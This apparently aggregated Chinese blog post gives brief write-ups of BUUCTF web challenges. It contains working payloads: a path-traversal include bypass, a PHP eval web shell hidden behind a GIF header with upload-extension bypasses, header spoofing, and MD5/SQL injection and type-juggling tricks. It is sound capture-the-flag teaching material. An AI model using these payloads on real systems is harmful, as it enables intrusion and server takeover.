BUUCTF
Posted _Nov1ce
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了BUUCTF相关的知识,希望对你有一定的参考价值。
1.[HCTF 2018]WarmUp 1 代码审计
提示查看source.php
打开该php网页
开始代码审计
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
//白名单数组
if (! isset($page) || !is_string($page)) {
echo "you can\'t see it";
return false;
}//检测是否为字符串
if (in_array($page, $whitelist)) {
return true;
}//检测是否在白名单内
$_page = mb_substr(
$page,
0,
mb_strpos($page . \'?\', \'?\')
);
/*然后将$page过滤,substr函数是将字符串分割,mb_strpos($page.’?’, ‘?’)
先将page加上一个问号,然后计算问号前的字符串的数量,并返回这个数量的值*/
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . \'?\', \'?\')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can\'t see it";
return false;
}
}
if (! empty($_REQUEST[\'file\'])
&& is_string($_REQUEST[\'file\'])
&& emmm::checkFile($_REQUEST[\'file\'])
) {
include $_REQUEST[\'file\'];
exit;
} else {
echo "<br><img src=\\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\\" />";
}
?>
根据白名单,先访问hint.php
提示flag在上图所示目录下,所以想法是跨越目录访问fffffllllaaaaggg
5、这样的话我们就可以构造payload
(1)测试payload1:
http://111.198.29.45:56708/index.php?file=source.php
执行了source.php,输出了里面的内容
(2)测试payload2:
http://111.198.29.45:56708/index.php?file=source.php../../../../../ffffllllaaaagggg
我想得到ffffllllaaaagggg时就出问题了,因为ffffllllaaaagggg不在$whitelist数组的键值中,并且
继续执行代码后,下面$_page=source.php../../../../../../../ffffllllaaaagggg,第3个if语句false,
urldecode后$_page=source.php../../../../../../../ffffllllaaaagggg,mb_substr后还是这个,第4
个if语句还是false,最后输出you can\'t see it,还return false,这还玩啥
该如何解决?我需要include ffffllllaaaagggg文件,而且需要使用../,怎样绕过?
注意到mb_strpos($page . \'?\', \'?\')没,我们构造一个?即可
(3)测试payload3:
http://111.198.29.45:56708/index.php?file=source.php?../../../../../../ffffllllaaaagggg
构造?的话,第2个if语句就不能返回true了,第3个if语句一样,也不能执行return语句,第4个if语句需要满足if
(true),因为需要执行{}中的内容,最后使得checkFile()函数返回的布尔类型为true
(4)payload3执行流程:此时file=source.php?../../../../../../ffffllllaaaagggg
第1个if返回false
第2个if返回false
$_page=source.php
第3个if返回true,退出checkFile函数,此时核心代码中已满足if(true&&true&&true),即执行include函数
最后include(source.php?../../../../../../ffffllllaaaagggg)
————————————————
参考:https://blog.csdn.net/qq_41617034/article/details/104695005
2.[ACTF2020 新生赛] Include
点击tips跳转flag.php
利用伪协议读取即可
3.[极客大挑战 2019]Havefun
payload:?cat=dog
4.[极客大挑战 2019]Secret File
提示查看archieve.room.php
查看
直接点击secret,
利用bp抓包
查看该网页
直接用伪协议就行啦
5.[ACTF2020 新生赛]Exec
同攻防世界command那题
6.[GXYCTF2019]Ping Ping Ping
7.[极客大挑战 2019]Knife
连接antsword查看根目录下的flag即可
8.[极客大挑战 2019]Http
查看网页源代码
看到隐藏界面,访问它
可见要修改referer(注意,这里不是修改host)
并且要求了浏览器和xff头
浏览器的修改是通过UA,/5.0之前的修改一下即可
xff头直接改为localhost
9.[极客大挑战 2019]Upload
这题的绕过点有三个,一个就是文件内容不能有<?,还有就是文件后缀的绕过,还有图片头。
因此图片内容如下:
GIF89a? <script language="php">eval($_REQUEST[feng])</script>
后缀的话可以用phtml来绕过。
还有一个问题就是上传之后的文件在哪。猜测还是常规的目录/upload下面,用蚁剑连成功了,确实是在upload下面。
附常见的php后缀:
php2, php3, php4, php5, phps, pht, phtm, phtml
10.[ACTF2020 新生赛]BackupFile
备份文件url/index.php.bak
下载后得到
payload:?key=123
11.[极客大挑战 2019]BuyFlag
查看源代码
访问pay.php
抓包
注意,http里有三处要改的地方
1.方式改为POST
2.cookie的user改为1
3.password绕过弱类型,money用科学计数法(或者用数组绕过)
12.[BJDCTF2020]Easy MD5
进去什么都没有,bp抓包或者直接查看包头
发现提示
md5绕过总结:https://www.jianshu.com/p/5156185c8a27
可以看到这里的raw参数是True,为返回原始16字符二进制格式。
也就是说当md5函数的第二个参数为true时,该函数的输出是原始二进制格式,会被作为字符串处理。
如果构造一个\'or\'xxx\'
的密码,只要后面的字符串为真即可。那么可以根据32位16进制的字符串来查找,\'or\'
对应的16进制是276f7227
,所以我们的目标就是要找一个字符串,取32位16进制的md5值里带有276f7227
这个字段的,在276f7227
这个字段后面紧跟一个数字(除了0)1-9,对应的asc码值是49-57,转化为16进制就是31-39,也就是含有276f7227+(31-39)
这个字段,就可以满足要求。
则拼接后构成的SQL语句为:
select * from user where password=\'\'or\'1asodijfoi\';
select * from user where password=\'\'or\'1abcdefg\' ---> True
select * from user where password=\'\'or\'0abcdefg\' ---> False
select * from user where password=\'\'or\'1\' ---> True
select * from user where password=\'\'or\'2\' ---> True
select * from user where password=\'\'or\'0\' ---> False
只要\'or\'后面的字符串为一个非零的数字开头都会返回True,这就是我们的突破点。
目前只知道用这个字符串 ffifdyop具体怎么来的
跳转后,第一步,0e绕过
第二步,数组绕过
param2[]=1¶m1[]=2
以上是关于BUUCTF的主要内容,如果未能解决你的问题,请参考以下文章